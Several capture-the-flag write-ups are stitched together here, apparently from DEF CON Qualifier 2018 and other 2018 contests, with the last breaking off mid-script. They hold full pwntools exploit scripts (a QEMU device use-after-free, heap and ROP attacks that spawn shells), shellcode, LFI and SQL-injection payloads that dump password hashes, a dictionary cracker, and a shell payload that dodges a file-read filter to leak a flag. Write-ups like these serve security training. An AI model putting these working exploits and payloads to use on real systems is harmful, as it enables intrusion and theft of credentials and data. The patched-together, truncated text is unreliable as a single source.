* It will use qemu-system-x86_64 to boot a vm* It tells us, we need to do something with PCI device* Then I found this [writeup](https://kitctf.de/writeups/hitb2017/babyqemu)* Now we know that we need to exploit via `/sys/devices/pci0000:00/0000:00:04.0/resource0`* Decompile qemu-system-x86_64 and look for mmio read write function.* I only leveraged write funtion* There is a buffer which is located at `0x1317940` and three kinds of operations* You can `malloc` `free` `write` some chunks. And all the chunk will be on that buffer* I list the write function here:
```cvoid __fastcall OOO_mmio_write(__int64 a1, __int64 offset, __int64 value, unsigned int a4){ unsigned int v4; // eax@1 char n[12]; // [sp+4h] [bp-3Ch]@1 __int64 v6; // [sp+10h] [bp-30h]@1 __int64 v7; // [sp+18h] [bp-28h]@1 __int16 v8; // [sp+22h] [bp-1Eh]@11 int i; // [sp+24h] [bp-1Ch]@5 unsigned int v10; // [sp+28h] [bp-18h]@1 unsigned int v11; // [sp+2Ch] [bp-14h]@4 unsigned int v12; // [sp+34h] [bp-Ch]@11 __int64 v13; // [sp+38h] [bp-8h]@1
v7 = a1; v6 = offset; *(_QWORD *)&n[4] = value; v13 = a1; v10 = ((unsigned int)a2 & 0xF00000) >> 20; v4 = ((unsigned int)a2 & 0xF00000) >> 20; if ( v4 == 1 ) { free(*(&qword_1317940 + (((unsigned int)v6 & 0xF0000) >> 16))); } else if ( v4 == 2 ) { v12 = ((unsigned int)v6 & 0xF0000) >> 16; v8 = v6; memcpy((char *)*(&qword_1317940 + (signed int)v12) + (signed __int16)v6, &n[4], a4); } else if ( !v4 ) { v11 = ((unsigned int)v6 & 0xF0000) >> 16; if ( v11 == 15 ) { for ( i = 0; i <= 14; ++i ) *(&qword_1317940 + i) = malloc(8LL * *(_QWORD *)&n[4]); } else { *(&qword_1317940 + (signed int)v11) = malloc(8LL * *(_QWORD *)&n[4]); } }}```
* The operation will be determined by IO offset. When your write offset is 0xabXXXX. * If a==1, then it will trigger free operation. * If a==2, then it will trigger write operation.* Otherwise, it will trigger malloc.* And b indicate the chunk offset on 0x1317940* The value will be the chunk size or the value written on the chunk* XXXX will be the offset on the chunk* There is a UAF vulnerabilty!! You can overwrite freed chunk to launch fastbin attack.* We can forge a fake chunk on the 0x1317940. then we can write 0x1317940. It also means that we have an arbitrary write.* We can overwrite GOT to hijack control flow* There is a magic function which is located at 0x6e65f9. It will triger system("cat ./flag")* Use GOT-hijacking then you can run that magic function and get the flag* Unfortunately we cannot upload a binary on remote vm, becasue the vm has no network connection. We can base64 encode our binary and send it to the vm. But the binary needs to be small enough, or you cannot send the whole binary because of network conditon.* So I write some shellcode for exploit.* The shellcode:
```nasmsection .data msg db "/sys/devices/pci0000:00/0000:00:04.0/resource0"section .text global _start_start: mov rax, 2 mov rdi, msg mov rsi, 2 mov rdx, 0 syscall mov rdi, 0 mov rsi, 0x1000000 mov rdx, 3 mov r10, 1 mov r8, rax mov r9, 0 mov rax,9 syscall mov rcx, rax mov WORD [rax+0x20000],0xc # malloc a chunk on 0x1317940+0x8*2 mov BYTE [rax+0x120000],0xc # free the chunk on 0x1317940+0x8*2 mov DWORD [rax+0x220000],0x131794d # overwrite the fd on 0x1317940+0x8*2 mov DWORD [rax+0x220004],0x0 # mov BYTE [rax+0x10000],0xc # malloc once mov BYTE [rax+0x10000],0xc # malloc twice , now we have a chunk at 0x131794d mov DWORD [rax+0x210000],0xa0000000 # forge a fake chunk address on 0x1317960 and the address will be free got (0x11301a0) mov DWORD [rax+0x210004],0x11301 # mov DWORD [rax+0x240000],0x6e65f9 # Overwrite free got. The new address will trigger system("cat ./flag") mov DWORD [rax+0x240004],0x0 # mov DWORD [rax+0x120000],0x0 # Trigger free and get the flag !! mov rax, 60 xor rdi, rdi syscall# nasm -felf64 a.asm -o a.o && ld a.o && base64 a.out > shellcode```* And the code to send shellcode:
```pythonimport sysimport structimport hashlibfrom pwn import *
# inspired by C3CTF's POW
def pow_hash(challenge, solution): return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution): h = pow_hash(challenge, solution) return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n): candidate = 0 while True: if check_pow(challenge, n, candidate): return candidate candidate += 1
r=remote("11d9f496.quals2018.oooverflow.io",31337)r.recvuntil("Challenge:")cha=r.recvline().strip("\n")r.recvuntil("n:")n=r.recvline().strip("\n")
solution = solve_pow(cha[1:], int(n))
r.sendline(str(solution))r.recvuntil("/ #")f=open("shellcode")for i in f.readlines(): r.sendline('echo "'+i.strip('\n')+'" >> 1234')r.sendline("base64 -d 1234 > bb")r.sendline("chmod +x ./bb")r.sendline("./bb")r.interactive()# The flag is OOO{did you know that the cloud is safe}```
### Race Wars1. The vulnerability exists during the program asks for tire amount; when doing so, we can apply for 0x8000000 tires to cause int overflow (0x8000000*0x20 = 0), and make the program allocate 0-size memory, but the tires struct can still be placed on heap for us to control.2. Use transmission function to overlap the tires struct and transmission struct 3. Use modify_tires functions to set all the attributes of tire as 0xffff4. Use modify_transmission function to get relative address read/write capability of arbitrary memory5. Read heap address and code GOT address to get libc address, then modify exit GOT to one_gadget, call exit, and get shell* code:
```python=from pwn import *import sysimport timeimport randomhost = '2f76febe.quals2018.oooverflow.io'port = 31337
binary = "./racewars"context.binary = binaryelf = ELF(binary)try: libc = ELF("./libc.so.6") log.success("libc load success") system_off = libc.symbols.system log.success("system_off = "+hex(system_off))except: log.failure("libc not found !")
def new(): pass
def edit(): pass
def remove(): pass
def show(start,end): pass r.recvuntil(start) data = r.recvuntil(end)[:-len(end)] return data
if len(sys.argv) == 1: r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."}) #r = remote("127.0.0.1" ,4444)
else: r = remote(host ,port) r.recvuntil("Challenge: ") Challenge = r.recvuntil("\n")[:-1] r.recvuntil("n:") n = r.recvuntil("\n")[:-1] r.recvuntil("Solution:") p = process(["/usr/bin/python", "./pow.py",Challenge ,n ]) print "pow..." p.recvuntil("Solution: ") ans = p.recvuntil(" ")[:-1] r.sendline(ans)
def tires(num): r.recvuntil("E: ") r.sendline("1") r.recvuntil("?\n") r.sendline(str(num))
def chassis(option): r.recvuntil("E: ") r.sendline("2") r.recvuntil("pse\n") r.sendline(str(option))
def engine(): r.recvuntil("E: ") r.sendline("3")
def transmission(option): r.recvuntil("E: ") r.sendline("4") r.recvuntil("? ") r.sendline(str(option))
def modify_tires_w(width): r.recvuntil("E: ") r.sendline("1") r.recvuntil(": ") r.sendline("1") r.recvuntil(": ") r.sendline(str(width))
def modify_tires_a(ratio): r.recvuntil("E: ") r.sendline("1") r.recvuntil(": ") r.sendline("2") r.recvuntil(": ") r.sendline(str(ratio))
def modify_tires_c(radial): r.recvuntil("E: ") r.sendline("1") r.recvuntil(": ") r.sendline("3") r.recvuntil(": ") r.sendline(str(radial))
def modify_tires_d(diameter): r.recvuntil("E: ") r.sendline("1") r.recvuntil(": ") r.sendline("4") r.recvuntil(": ") r.sendline(str(diameter))
def modify_chassis(): r.recvuntil("E: ") r.sendline("2") r.recvuntil(": ") r.sendline("1")
def modify_engine(): r.recvuntil("E: ") r.sendline("3")
def modify_transmission(gears,ratio,gear): r.recvuntil("E: ") r.sendline("4") r.recvuntil("? ") r.sendline(str(gears)) r.recvuntil("gear ratio for gear " + str(gears) + " is ") addr = r.recvuntil(", mo")[:-4] r.recvuntil(": ") r.sendline(str(ratio)) r.recvuntil(")") r.sendline(str(gear)) return addr
def buy(): r.recvuntil("E: ") r.sendline("5")
def race(): r.recvuntil("E: ") r.sendline("6")
if __name__ == '__main__': print "start" tires(0x8000000) transmission(1) chassis(1) engine() modify_tires_w(0xffff) modify_tires_a(0xffff) modify_tires_c(0xffff) modify_tires_d(0xffff) addr = "" for i in xrange(8): addr += chr(int(modify_transmission(0xffffffffffffff70+i,0x44,0))) heap = u64(addr) - 0xe0 print "heap =", hex(heap) h = -0xa0 puts_got = 0x603020
leak = ((puts_got - heap) - 0x90 - 0x10)&0xffffffffffffffff addr = "" for i in xrange(8): addr += chr(int(modify_transmission(leak+i,0x44,0))) puts = u64(addr) libc.address = puts - libc.symbols["puts"] print "libc.address =" , hex(libc.address) exit_got = 0x0603060 magic = libc.address + 0xf1147 leak = ((exit_got - heap) - 0x90-0x10)&0xffffffffffffffff print hex(magic) for i in xrange(8): modify_transmission(leak+i,ord(p64(magic)[i]),1) buy() tires(1) r.sendline("ls")
r.interactive()```### Say Hi!
You can send anything as the flag !!`OOO{Happy Mother's Day!!}``
### exzendtential-crisis (unsolved)
After loggin in, we found a LFI vulnerability.`http://d4a386ad.quals2018.oooverflow.io/essays.php?preview&name=../../../../../etc/passwd`
We retrive these files from the server:
- All PHP source code, but `flag.php` is WAFed.- /etc/php7/apache2/php.ini (not sure, I forget the exact location)- /usr/lib/php/20151012/mydb.so (found the path in php.ini)- /var/lib/mydb/mydb.db (found the path in mydb.so)
The main problem is the customized functions, `check_redential`, `get_user_id` .... Those function use PHP extension, written in C++, in `mydb.so`.
A quick reverse engineering will find a interesting function `check_hacker_attempt`. You can found the source code [in the official repo](https://github.com/o-o-overflow/chall-exzendtential-crisis/blob/master/src/c/mydb.cpp#L31-L69). the `strcpy` leads to a buffer overflow. It copies a `std::string` to a 100 byte C string.
Our main objective is to make `get_user_id()` return 1, which is the admin's user id. Exploiting the buffer overflow can [overwrite the table_name](https://github.com/o-o-overflow/chall-exzendtential-crisis/blob/master/src/c/mydb.cpp#L31-L69).
Here is the evil input: `print("A"*112+"users where rowid=1;--")`
The SQL query becomes:
```select rowid from users where rowid=1;-- where username = '...' and password = '...';```
Then the query returns 1. We are the admin now. Visit `flag.php` and get the flag!
Postscript: We fail to solve this because the reversing of `strcyp` tends to be confusing here. The code below is equal to `strcpy`. However, we somehow missed this part :(
```c++v5 = str_len + 1;if ( v5 >= 8 ){ *(_QWORD *)to_check = *(_QWORD *)username; *(_QWORD *)&to_check[v5 - 8] = *(_QWORD *)&username[v5 - 8]; qmemcpy( (void *)((unsigned __int64)(to_check + 8) & 0xFFFFFFFFFFFFFFF8LL), (const void *)(username - &to_check[-((unsigned __int64)(to_check + 8) & 0xFFFFFFFFFFFFFFF8LL)]), 8LL * ((v5 + (_DWORD)to_check - (((_DWORD)to_check + 8) & 0xFFFFFFF8)) >> 3));}else if ( v5 & 4 ){ *(_DWORD *)to_check = *(_DWORD *)username; *(_DWORD *)&to_check[v5 - 4] = *(_DWORD *)&username[v5 - 4];}else if ( v5 ){ *to_check = *username; if ( v5 & 2 ) *(_WORD *)&to_check[v5 - 2] = *(_WORD *)&username[v5 - 2];}v12 = sub_34E0;v11 = (__int64 (__fastcall *)(char *, __int64, int))sub_3220;```
## Guest Chefs
### PHP Eval White-List
- run ` die("`../flag`"); `- `OOO{Fortunately_php_has_some_rock_solid_defense_in_depth_mecanisms,_so-everything_is_fine.}`
### ghettohackers: Throwback
The interval of each '!' is the index of alphabet.
The text is `Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!`. First we try to find all letters on '!' and get `nwltisoos`.We try lots of possible decryptions like XOR, ord(i) - ord('!'), letters reorganization, affine cipher, Atbash cipher, and many classical ciphers but all failed.Finally, we notice that the place of '!' maybe a hint. We calculate the interval of each '!' and got `[4, 1, 18, 11, 0, 12, 15, 7, 9, 3, 0]`. We think these numbers are the index of alphabet (e.g. `4` is `d`), and write a code to print the answer.
```ori = 'Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!'sp = ori.split('!')print repr(''.join(chr(97 + len(s) - 1) for s in sp))```
### ddtek: Preview
#### reverse
* Use `IDA pro` to decompile the binary.* At first galance, we cannot get any useful information.* Use `gdb` and find out that it will mmap a new area for `real program`* There is a function which will do some xor stuff on `0x602000` and mmap an memory area for it. That is real program* In `gdb`, you can do this `dump binary memory result.bin 0x602000 0x605000`
* Now we have the real program.
#### exploit1. Use the string "HEAL /proc/self/maps" to get the code address and /lib/x86_64-linux-gnu/ld-2.23.so address2. canary is combined by code address and /lib/x86_64-linux-gnu/ld-2.23.so address 3. make the program stack overflow, bypass the canary, and use ROP to get shell
```python=from pwn import *import sysimport timeimport randomhost = 'cee810fa.quals2018.oooverflow.io'port = 31337
binary = "./preview"context.binary = binaryelf = ELF(binary)try: libc = ELF("./libc.so.6") log.success("libc load success") system_off = libc.symbols.system log.success("system_off = "+hex(system_off))except: log.failure("libc not found !")
if len(sys.argv) == 1: r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."}) #r = remote("127.0.0.1" ,4444)
else: r = remote(host ,port) r.recvuntil("Challenge: ") Challenge = r.recvuntil("\n")[:-1] r.recvuntil("n:") n = r.recvuntil("\n")[:-1] r.recvuntil("Solution:") p = process(["/usr/bin/python", "./pow.py",Challenge ,n ]) print "pow..." p.recvuntil("Solution: ") ans = p.recvuntil(" ")[:-1] r.sendline(ans)
if __name__ == '__main__': print "start" r.recvuntil("Standing by for your requests\n") r.sendline("HEAD /proc/self/maps\x00" + "A"*0x42) r.recvuntil("Here's your preview:\n") data = r.recvuntil("\n") if "/lib/x86_64-linux-gnu/ld-2" in data: ld_addr = data[:data.find("-")] r.recvuntil("\n") r.recvuntil("\n") data = r.recvuntil("\n") if "r-xp" in data: code = data[:data.find('-')] else: data = r.recvuntil("\n") code = data[:data.find('-')] elif "r-xp" in data: code = data[:data.find('-')] r.recvuntil("\n") r.recvuntil("\n") data = r.recvuntil("\n") ld_addr = data[:data.find("-")] ld_addr = int(ld_addr,16) code = int(code,16) pop_rdi = 0x00000000000010b3 + code pop_rsi_1 = 0x00000000000010b1 + code puts_got = code + 0x202020 puts_plt = code + 0x0009E0 read_plt = code + 0x000A60 pop_rsp_3 = code + 0x00000000000010ad print "code =", hex(code) print "ld_addr =" ,hex(ld_addr) canary = (code/0x1000 + ld_addr/0x1000 * 0x10000000)*0x100 print "canary =" , hex(canary) raw_input("@") r.sendline("A"*88 + p64(canary) +"A"*8+ p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rdi) + p64(0) + p64(pop_rsi_1) + p64(code + 0x0202800) + p64(0) + p64(read_plt) + p64(pop_rsp_3) + p64(code + 0x0202800)) r.recvuntil("Malformed request\n")
puts = u64(r.recv(6).ljust(8,"\x00")) libc.address = puts - libc.symbols['puts'] print "libc.address =" , hex(libc.address) r.sendline("A"*24 + p64(pop_rdi) + p64(code + 0x0202800+0x30) + p64(libc.symbols['system']) + "/bin/sh\x00")
r.interactive() ```
|
# Crimemail, Web, 20pts
## Problem
Collins Hackle is a notorious bad guy, and you've decided to take him down. You need something on him, anything, to send the police his way, and it seems he uses CrimeMail, a very specialized email service, to communicate with his associates.
Let's see if you can hack your way in his account...
Hint: his password's md5 is computed as followed: md5 = md5($password + $salt) and Collins Hackle has a password which can be found in an english dictionary
https://crimemail.ctf.insecurity-insa.fr/
## Solution
When I've opened provided url, a simple website with login was presented:

There was no obvious flaw(s) there, so I've checked __Lost password?__ link. Almost immediately I've found this feature was vulnerable to the SQL Injection:

As a result I've seen familiar MySQL error message (actually the part of familiar "You have an error in your SQL syntax; check the manual that corresponds..." :)

First, using simple ```order by ``` clause I've figured out that there is only one column in query. So first what I've done was to read database structure:
```username=hello' union select group_concat(concat(table_name,0x20,column_name)) from information_schema.columns where table_schema=database()-- ```
As a result, I've got an ```users``` table structure:

Getting an information from ```users``` table was simple:
```username=hello' union select group_concat(concat(username,0x20,pass_salt,0x20,pass_md5)) from users-- ```
There were couple of users in database, and Collins Hackle seemed to be one of them:

His login details were as follows (username, salt used to hash the password and hash of the actual password itself):
```c.hackle yhbG f2b31b3a7a7c41093321d0c98c37f5ad```
From the hint attached to the challenge I knew that MD5 hash was a result of following operation:
```md5 = md5($password + $salt)```
Using one of password dictionaries I have, I've created small Python script to find the correct plaintext:
```python#!/usr/bin/pythonimport hashlib
for passwd in open("/Users/bl4de/hacking/dictionaries/rockyou.txt", "r"): if hashlib.md5(passwd.strip() + "yhbG").hexdigest() == "f2b31b3a7a7c41093321d0c98c37f5ad": print "[+] password for Collins Hackle is {}".format(passwd.strip()) exit(0)
print "[+] Done"```
It was found within the blink of eye:
```bl4de:~/hacking/ctf/2018/INSHACK_CTF_2018 $ ./colins_hackle.py[+] password for Collins Hackle is pizza```
When I've logged using Collin's credentials (c.hackle/pizza), I've got the flag:

Flag: **INSA{s3cr3t_l0cat10n}** |
Bitflipper==========Type: reverse-ish, flag value: 177pt. Served at `61421a06.quals2018.oooverflow.io:5566`.
## The wrapper
We are given access to a server that runs a packed ELF x86-64 program. Before running the binary, it tells us:
------------------------------------------------------- Bitflipper - ELF Fault Injection Framework ------------------------------------------------------- Test program md5: 30acc4aee186d6aef8e9e2036008a710 ------------------------------------------------------- How many faults you want to introduce?
The wrapper gives us the possibility to *"introduce faults"* in the binary before it is run, which means flipping between 0 and 4 bits (at whichever offset we like) in the binary. It also gives us the MD5 hash of the file, which will be helpful to us later to make some checks.
Answering *"0"* for the number of faults to add will make the wrapper run the program without modifying it, giving us its normal output:
How many faults you want to introduce? 0 Alright, you are the boss. Here is the output of the original program... ------------------------------------------------------- README abc.jpg archive.zip beta.doc celtic.png dir secret_flag.txt test.doc version.txt
Interesting... we have a `secret_flag.txt` in the current folder.
Answering a number `n` between 1 and 4 will, on the other hand, make the wrapper ask for `n` offsets of the `n` bits which are going to be flipped:
How many faults you want to introduce? 2 That sounds like a good number Which bit do you want to flip (0-81727)? 1337 Which bit do you want to flip (0-81727)? 31337 2 bits have been flipped MD5 of the new version: 7b41910eb8c1512fa5e8f97f203ba58e Let me run the program for you now...
We are given the MD5 hash of the modified file, then the wrapper tries to run it and give us the output. Fiddling around with the offsets of the bits to flip **we are very easily able to "break" the binary**. We can, for example: **corrupt the ELF header**, make it go into segmentation fault, **tamper with symbol relocations**, trigger a double `free()` causing a vmmap dump and backtrace, and so on.
Making the program crash will cause the wrapper to send us an **important hint**:
Looks like you broke it! I would send you a core dump, but I could not find any in the current directory
Cool! This means that if we manage to **flip some bits in the ELF header to make it become an *ELF core file*, the server will send us the entire binary**!
Indeed, flipping bits `128`, `129` and `130`, changing the byte at offset `0x10` from `0x03` to `0x04`, works just fine! Now we have a binary we can disassemble and begin to work on.
## The binary
By computing the MD5 hash of the file we just got from the server we can verify that it is indeed the same binary which is run by the wrapper server-side. Moreover, we can now try out various combinations of bit flips and check the new local MD5 with the remote MD5 to check if we correctly flipped the bits.
The program itself is not really interesting: it outputs a simple sorted list of the files in the current folder coloring their name using ANSI escape codes. What is interesting is that by crashing the binary with a double `free()` we can get a vmmap dump from which we can find out the `libc` version being used:
... 7ff226ddb000-7ff226f9b000 r-xp 00000000 ca:01 1971 /lib/x86_64-linux-gnu/libc-2.23.so 7ff226f9b000-7ff22719b000 ---p 001c0000 ca:01 1971 /lib/x86_64-linux-gnu/libc-2.23.so 7ff22719b000-7ff22719f000 r--p 001c0000 ca:01 1971 /lib/x86_64-linux-gnu/libc-2.23.so 7ff22719f000-7ff2271a1000 rw-p 001c4000 ca:01 1971 /lib/x86_64-linux-gnu/libc-2.23.so ...
We now know that it is using `libc-2.23`, and we assume the distro is, as usual, Ubuntu 16.04.4 LTS (Xenial Xerus).
## The exploit
Now, getting into the real exploit: as said earlier, since we can modify up to four bits at arbitrary locations in the file, if precisely calculated, **we can corrupt an `Elf64_Rela` structure in the PLT relocation table** (`.rela.plt`) to trick the loader into writing the address of the specified symbol to an address (`r_offset`) in the GOT PLT (`.plt.got`), and, most importantly, adding a given offset (`r_addend`) to the absolute address (in the `libc`).
The `Elf64_Rela` struct is defined like this:
typedef struct { Elf64_Addr r_offset; Elf64_Xword r_info; Elf64_Sxword r_addend; } Elf64_Rela;
We now have three different approaches to modify the execution flow of the program to fullfill our objective (which is obviously to execute a shell):
1. **Modify the index of a symbol** moving one of the functions used by the binary in another position in the PLT so that the program would call a different function instead of the expected one. Changing `r_offset` could also be possible, but harder to manage. This was not of great help since the binary doesn't use interesting functions (like `system` or similars).
2. **Modify `r_addend`** making the loader load a different function in the GOT (if it is close enough the original one). This was again not the case, since all of the "cool" `libc` functions (`system`, `execve`, `popen`, ...) were either too far or unreachable flipping only 4 bits of `r_addend` (i.e. setting only four bits to `1`).
3. **Any combination of the first two**: applying both of the above modifications for a symbol, so that calling a specific function would result in jumping in a different PLT entry than the expected one, and following the GOT entry of the latter would cause to call a totally different `libc` function than the original.
To help us identify which function could have been replaced with wich, we wrote an helper script which did the maths for us. An example output filtered with `grep execv` is the following (the full list was actually more than 2000 lines):
readdir execv 0xcc860 0b100010001000000 0 3 closedir execvp 0xccbc0 0b100100000000000 0 2 closedir execvp 0xccbc0 0b100100000000001 1 3 closedir execvp 0xccbc0 0b100100000000010 2 3 closedir execvp 0xccbc0 0b100100000000100 4 3 closedir execvp 0xccbc0 0b100100000001000 8 3 strlen fexecve 0xcc7a0 0b1000001000010000000 0 3 strlen execve 0xcc770 0b1000001000001000000 -16 3
Unfortunately none of the functions reachable by tampering an `Elf64_Rela` structure were useful, since most of them were just random and useless "normal" functions, and the few interesting ones (like `exec{l,ve,vpe}`) were reachable but would have ended up being called with the wrong arguments.
We finally ran [`one_gadget`](https://github.com/david942j/one_gadget) on the `libc-2.23` binary, discovered four useful gedgets to run `execve('/bin/sh', NULL, NULL)` and added their address to the input of our script: three of them were completely out of range of the possible addresses that we could make the loader write into GOT, but one was close enough:
opendir gadget4 0xf1147 0b101001000000000000 -7 3
which was:
f1147: 48 8b 05 6a 2d 2d 00 mov rax,QWORD PTR [rip+0x2d2d6a] # 3c3eb8 <__environ@@GLIBC_2.2.5-0x3080> f114e: 48 8d 74 24 70 lea rsi,[rsp+0x70] f1153: 48 8d 3d fd bb 09 00 lea rdi,[rip+0x9bbfd] # 18cd57 <_libc_intl_domainname@@GLIBC_2.2.5+0x197> f115a: 48 8b 10 mov rdx,QWORD PTR [rax] f115d: e8 0e b6 fd ff call cc770 <execve@@GLIBC_2.2.5>
This gadget executes `execve("/bin/sh", rsp+0x70, environ)`, so we actually would need `rsp+0x70` to be `NULL` to be sure to not get a `SIGSEGV` or to not call `/bin/sh some_garbage_args`, but it was well worth a try: using the third approach explained above, **we can modify the `Elf64_Rela` struct of the `opendir` symbol** (by flipping the bits `0x7fa*8 +1`, `+4` and `+7`), **and make the program jump 7 bytes before the gadget** (specifically at `libc_base + 0xf1140`) when the tampered `opendir` function gets called.
Jumping at `0xf1140` shuffles the cards in the deck a little bit, but it really isn't a problem:
f1140: 24 60 and al,0x60 f1142: e8 99 67 00 00 call f78e0 <__close@@GLIBC_2.2.5> f1147: 48 8b 05 6a 2d 2d 00 mov rax,QWORD PTR [rip+0x2d2d6a] # 3c3eb8 <__environ@@GLIBC_2.2.5-0x3080> ...
As you can see, before the gedget there's a dirty little `and al,0x60`, but we don't care about it because we have a `mov rax, <stuff>` right after wich resets `rax`, and also a call to `__close@@GLIBC_2.2.5`: this call could actually do something unexpected.
Anyway, running the exploit locally gave us a functioning shell, so we ran it remotely, and... the server hangs waiting for input, **success!** Well, actually not really: no output was being sent back to us because the call to `__close` was closing `stdout` right before executing the shell. Not a problem, we still have `stderr`! Now, since the remote shell is `dash`, we first ran `bash` and then tried to run `cat secret_flag.txt >&2`, followed by two `exit`. The wrapper complained: it had detected that we were trying to get the content of a local file and blocked us. To circumvent this check we just put the content of the flag in a local variable and used `echo` to write its content splitted in three parts:
FLAG=$(cat secret_flag.txt) echo ${FLAG:0:5} >&2 echo ${FLAG:5:5} >&2 echo ${FLAG:10:5} >&2
**Ta da! Got the flag!** Here's the final output of our exploit:
$ ./expl.py [+] Opening connection to 61421a06.quals2018.oooverflow.io on port 5566: Done [+] Solving proof of work: done (359477). [*] Flipping bits: 0x3fcc, 0x3fcf, 0x3fd1 [*] Waiting for shell to run... [*] Sending payload: FLAG=$(cat secret_flag.txt) echo ${FLAG:0:5} >&2 echo ${FLAG:5:5} >&2 echo ${FLAG:10:5} >&2 [+] Receiving all data: Done (251B) [*] Closed connection to 61421a06.quals2018.oooverflow.io port 5566
3 bits have been flipped MD5 of the new version: 3e126b5008b69f13559c49657a15f5fa Let me run the program for you now... ------------------------------------------------------- bitfl ip_ma dness
-------------------------------------------------------
[+] Gottem!
Flag: `bitflip_madness`.
## Code
Code of the exploit:
```python#!/usr/bin/env python2
from __future__ import print_functionfrom pwn import *from time import sleepimport hashlib
def pow_hash(challenge, solution): return hashlib.sha256(challenge.encode('ascii') + p64(solution)).hexdigest()
def check_pow(challenge, n, solution): h = pow_hash(challenge, solution) return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n): candidate = 0 while not check_pow(challenge, n, candidate): candidate += 1 return candidate
def connect_and_solve_pow(): conn = remote('61421a06.quals2018.oooverflow.io', 5566) conn.recvuntil('Challenge: ') c = conn.recvline().strip() conn.recvuntil('n: ') n = int(conn.recvline().strip())
pow_progress = log.progress('Solving proof of work') pow_progress.status('hang tight...')
sol = solve_pow(c, n) pow_progress.success('done (%d).', sol) conn.sendline(str(sol))
return conn
BITS_TO_FLIP = [ 0x7f9*8 + 4, 0x7f9*8 + 7, 0x7fa*8 + 1]
PAYLOAD = """FLAG=$(cat secret_flag.txt)echo ${FLAG:0:5} >&2echo ${FLAG:5:5} >&2echo ${FLAG:10:5} >&2"""
r = connect_and_solve_pow()
log.info('Flipping bits: %s', ', '.join(map(hex, BITS_TO_FLIP)))r.recvuntil('introduce? ')
r.sendline(str(len(BITS_TO_FLIP)))
for b in BITS_TO_FLIP: r.recvuntil('(0-81727)? ') r.sendline(str(b))
log.info('Waiting for shell to run...')sleep(1)
log.info('Sending payload: %s', PAYLOAD)
r.sendline('bash')r.sendline(PAYLOAD)r.sendline('exit')r.sendline('exit')
output = r.recvall()
print('', output, sep='\n')
log.success('Gottem!')r.close()``` |
# Old Favorites
>We were sent this file with the description '9/10 people could find the hidden flag, are you one of them?'.>>Author: hackucf_loavso>>OldFavorites.mp4
Okidoki, a forensics challenge with a video. Let's try to open it and see what we've got.

DAMN IT, they got me.
Might as well watch the video to see if there's anything obvious. Around 2:20 into the video, there are some noticeable audio distortions.
To extract the audio from the mp4, we can run the following: `ffmpeg -i OldFavorites.mp4 OldFavorites.wav`
We need it as a *wav* file so we can open it with Sonic Visualiser and/or Audacity and check what's going on. So let's open it up and see what we can see around 2:20 in the audio. With these kind of challenges there's often something in the spectrogram, so we will first view that.

Well, there it is `sun{you_know_the_rules}` |
# DEF CON CTF Qualifier 2018
Written by BFS
BFS consists of four CTF teams form Taiwan: Balsn, Bamboofox, DoubleSigma, KerKerYuan.
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180512-defconctfqual/) of this writeup.**
- [DEF CON CTF Qualifier 2018](#def-con-ctf-qualifier-2018) - [Amuse Bouche](#amuse-bouche) - [ELF Crumble](#elf-crumble) - [You Already Know - warmup](#you-already-know---warmup) - [Easy Pisy - crypto, web](#easy-pisy---crypto-web) - [babypwn1805 - pwn](#babypwn1805---pwn) - [sbva - Web](#sbva---web) - [Appetizers](#appetizers) - [It's-a me!](#its-a-me) - [shellql](#shellql) - [flagsifier - Reverse](#flagsifier---reverse) - [Behavior](#behavior) - [Note Oriented Programming](#note-oriented-programming) - [From The Grill](#from-the-grill) - [elastic cloud compute (memory) corruption](#elastic-cloud-compute-memory-corruption) - [Race Wars](#race-wars) - [Say Hi!](#say-hi) - [exzendtential-crisis (unsolved)](#exzendtential-crisis-unsolved) - [Guest Chefs](#guest-chefs) - [PHP Eval White-List](#php-eval-white-list) - [ghettohackers: Throwback](#ghettohackers-throwback) - [ddtek: Preview](#ddtek-preview) - [reverse](#reverse) - [exploit](#exploit)
## Amuse Bouche
### ELF CrumbleOriginal binary in range 0x05ad ~ 0x08d3 is filled with `X`. Search through all 8! permutation of fragments to get the flag.
### You Already Know - warmup* Open the problem -> F12 -> Network -> Reopen the problem -> See the flag. `OOO{Sometimes, the answer is just staring you in the face. We have all been there}`
### Easy Pisy - crypto, web
- Service
* First service : Server will Recognized pdf input via OCR and sign `(by openssl_sign($data, $signature, $privkey)`, but it will reject to sign on EXECUTE command)
* Second one : Give the signed value and pdf, this service will execute the command(extracted by ocr) if the signed verify.
- We found that this function will `sha1(data)` before signing.
Therefore, draw two command on picture,and put them into the pdf, Google released last year, to get two pdf with sha1-collision.
1. send the picutre 1 (`without EXECUTE`) to first service to `get the signature`
2. pass this signature and sha1-collision pdf ( with `EXECUTE cat<flag`) to get the flag.
[python script](https://github.com/sonickun/sha1-collider/blob/master/collider.py)
### babypwn1805 - pwn* Overwrite the pointer of program name, and trigger `SSP` -> leak information.* Get serveral `libc`.* Overwite `GOT read` with `onegadget` -> with probability 1/16 (correct libc).* `/opt/ctf/babypwn/home/flag`.* `OOO{to_know_the_libc_you_must_become_the_libc}`
```python=#!/usr/bin/env pythonfrom pwn import *import sysimport structimport hashlibimport randomfrom threading import Timer
# OOO{to_know_the_libc_you_must_become_the_libc}
def pow_hash(challenge, solution): return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution): h = pow_hash(challenge, solution) return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n): candidate = 0 while True: if check_pow(challenge, n, candidate): return candidate candidate += 1
def hit(): cmd = 'id;LD_PRELOAD='';' cmd += 'cat /opt/ctf/babypwn/home/flag;' cmd += 'ls -al /opt/ctf/babypwn/home/;' cmd += 'source /opt/ctf/babypwn/flag.txt 2>&1;' #cmd += 'python -c \'import pty; pty.spawn("/bin/bash")\'' y.sendline( cmd ) print y.recv( 2048 )
host , port = 'e4771e24.quals2018.oooverflow.io' , 31337y = remote( host , port )
